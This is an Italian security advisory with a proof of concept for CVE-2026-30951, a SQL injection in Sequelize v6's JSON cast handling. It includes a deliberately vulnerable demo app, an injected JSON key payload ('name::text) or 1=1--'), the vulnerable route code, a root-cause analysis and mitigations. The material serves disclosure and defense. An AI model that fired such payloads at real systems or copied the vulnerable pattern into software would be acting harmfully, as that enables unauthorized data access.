Torna agli aggiornamenti
UpdatedSep 2, 2026

CVE-2026-30951 — Updated!

Iniezione SQL nel cast JSON di Sequelize

Condividi

CVE-2026-30951 Sequelize JSON Cast SQL Injection

★ CVE-2026-30951 Sequelize ORM SQL Injection PoC ★

https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381

Panoramica

CVE-2026-30951 è una vulnerabilità di SQL Injection in Sequelize v6, un ORM per Node.js ampiamente utilizzato.

La vulnerabilità risiede nell'elaborazione delle clausole where JSON/JSONB. Quando Sequelize analizza una chiave di percorso JSON contenente ::, il valore dopo :: viene trattato come un tipo di cast SQL e viene inserito nell'SQL generato senza una corretta validazione.

Se un attaccante riesce a controllare le chiavi degli oggetti JSON passate in una clausola where di Sequelize, può manipolare la query SQL generata.

Versioni interessate

CategoriaVersione
VulnerabileSequelize v6.x <= 6.37.7
CorrettaSequelize 6.37.8
Non interessataSequelize v7 / @sequelize/core

Impatto

  • SQL injection tramite chiavi di oggetti JSON controllate dall'attaccante
  • Bypass dei filtri di ricerca tramite injection di tipo boolean
  • Manipolazione indesiderata delle condizioni di query all'interno dell'SQL generato dall'ORM

Ambiente

Questo repository contiene una challenge app minimale vulnerabile basata su Node.js, Express, Sequelize e SQLite.

Esecuzione locale

npm install
npm start

L'app si avvia su:

http://127.0.0.1:9100

Docker

docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln

Il container Docker si avvia su:

http://127.0.0.1:9100

PoC

Dopo aver avviato l'ambiente vulnerabile, segui i passaggi seguenti per riprodurre l'injection.

Passaggio 1. Invia una normale richiesta di ricerca

POST /api/users/search
Content-Type: application/json

{
  "filter": {
    "name": "emma"
  }
}

Questo restituisce solo gli utenti che corrispondono alla normale logica di ricerca per nome.

Passaggio 2. Attiva una SQL injection di tipo boolean

POST /api/users/search
Content-Type: application/json

{
  "filter": {
    "name::text) or 1=1--": "emma"
  }
}

Risultato atteso:

All user rows are returned.

Passaggio 3. Conferma che si è verificata una SQL injection

La chiave JSON appositamente costruita induce Sequelize a generare un'espressione di cast simile a:

CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)

Poiché il tipo di cast è controllato dall'attaccante, la condizione OR 1=1 modifica il comportamento previsto della clausola WHERE. La restituzione di tutte le righe dallo stesso endpoint di ricerca conferma che la SQL injection è possibile.

Analisi

Causa tecnica principale

La vulnerabilità è causata da una validazione insufficiente dei tipi di cast JSON in Sequelize v6.

Internamente, la logica di attraversamento JSON di Sequelize suddivide le chiavi di percorso JSON su :::

jsonKey::castType

Il tipo di cast viene poi utilizzato nell'SQL generato come:

CAST(<json_extract_expression> AS <cast_type>)

Nelle versioni vulnerabili, <cast_type> non viene sottoposto a escape sicuro né limitato a una allowlist nota e sicura. Ciò consente a una chiave JSON controllata dall'attaccante di uscire dall'espressione di cast e iniettare SQL.

Pattern pericoloso

Qualsiasi pattern applicativo simile al seguente può essere vulnerabile quando si utilizzano versioni di Sequelize interessate:

app.post('/api/users/search', async (req, res) => {
  const users = await User.findAll({
    where: {
      metadata: req.body.filter
    }
  });

  res.json(users);
});

Questo è pericoloso perché l'attaccante controlla non solo i valori JSON, ma anche le chiavi degli oggetti JSON.

Perché è importante

Questa vulnerabilità è particolarmente pericolosa perché molti sviluppatori presumono che i query builder degli ORM proteggano automaticamente dalla SQL injection. In questo caso, l'injection avviene all'interno dell'SQL generato dall'ORM, dopo che l'applicazione ha già passato oggetti JavaScript strutturati a Sequelize.

A seconda della logica applicativa, lo sfruttamento può consentire di:

  • aggirare i filtri di ricerca previsti
  • alterare le condizioni booleane delle query
  • modificare il comportamento dell'SQL generato dall'ORM

Si tratta fondamentalmente di un problema CWE-89: Improper Neutralization of Special Elements used in an SQL Command.

Scenario

+-------------------------------------------+
|                  Attacker                 |
+-------------------------------------------+
                      |
                      | Sends crafted JSON filter
                      | with malicious name:: key
                      v
+-------------------------------------------+
|        POST /api/users/search             |
+-------------------------------------------+
                      |
                      | Sequelize JSON where clause
                      | processes key containing ::
                      v
+-------------------------------------------+
|     Unescaped SQL cast type injection     |
+-------------------------------------------+
                      |
                      | Boolean condition manipulation
                      v
+-------------------------------------------+
|          SQL Injection Confirmed          |
+-------------------------------------------+

Mitigazione

  • Aggiornare Sequelize a 6.37.8 o successivo
  • Non passare oggetti controllati dall'utente direttamente nelle clausole where JSON/JSONB di Sequelize
  • Rifiutare o normalizzare le chiavi JSON controllate dall'utente prima di costruire i filtri ORM
  • Utilizzare una costruzione dei filtri basata su whitelist invece di accettare oggetti arbitrari dal corpo della richiesta
  • Rifiutare le chiavi JSON contenenti sintassi di controllo SQL o separatori di cast come ::, a meno che non siano esplicitamente richiesti
  • Preferire campi di query definiti lato server, ad esempio:
const allowedFilters = ['name', 'role', 'team', 'office', 'department'];

if (!allowedFilters.includes(req.body.field)) {
  throw new Error('Invalid filter field');
}

Disclaimer

Questo repository è destinato esclusivamente a ricerca sulla sicurezza, validazione difensiva e uso educativo in ambienti controllati.

Non utilizzare questo PoC contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione a eseguire test.

EQST Insight

Pubblichiamo analisi di CVE e malware una volta al mese. Se sei interessato, segui i link sottostanti per consultare le nostre pubblicazioni.

Riferimenti

Categorie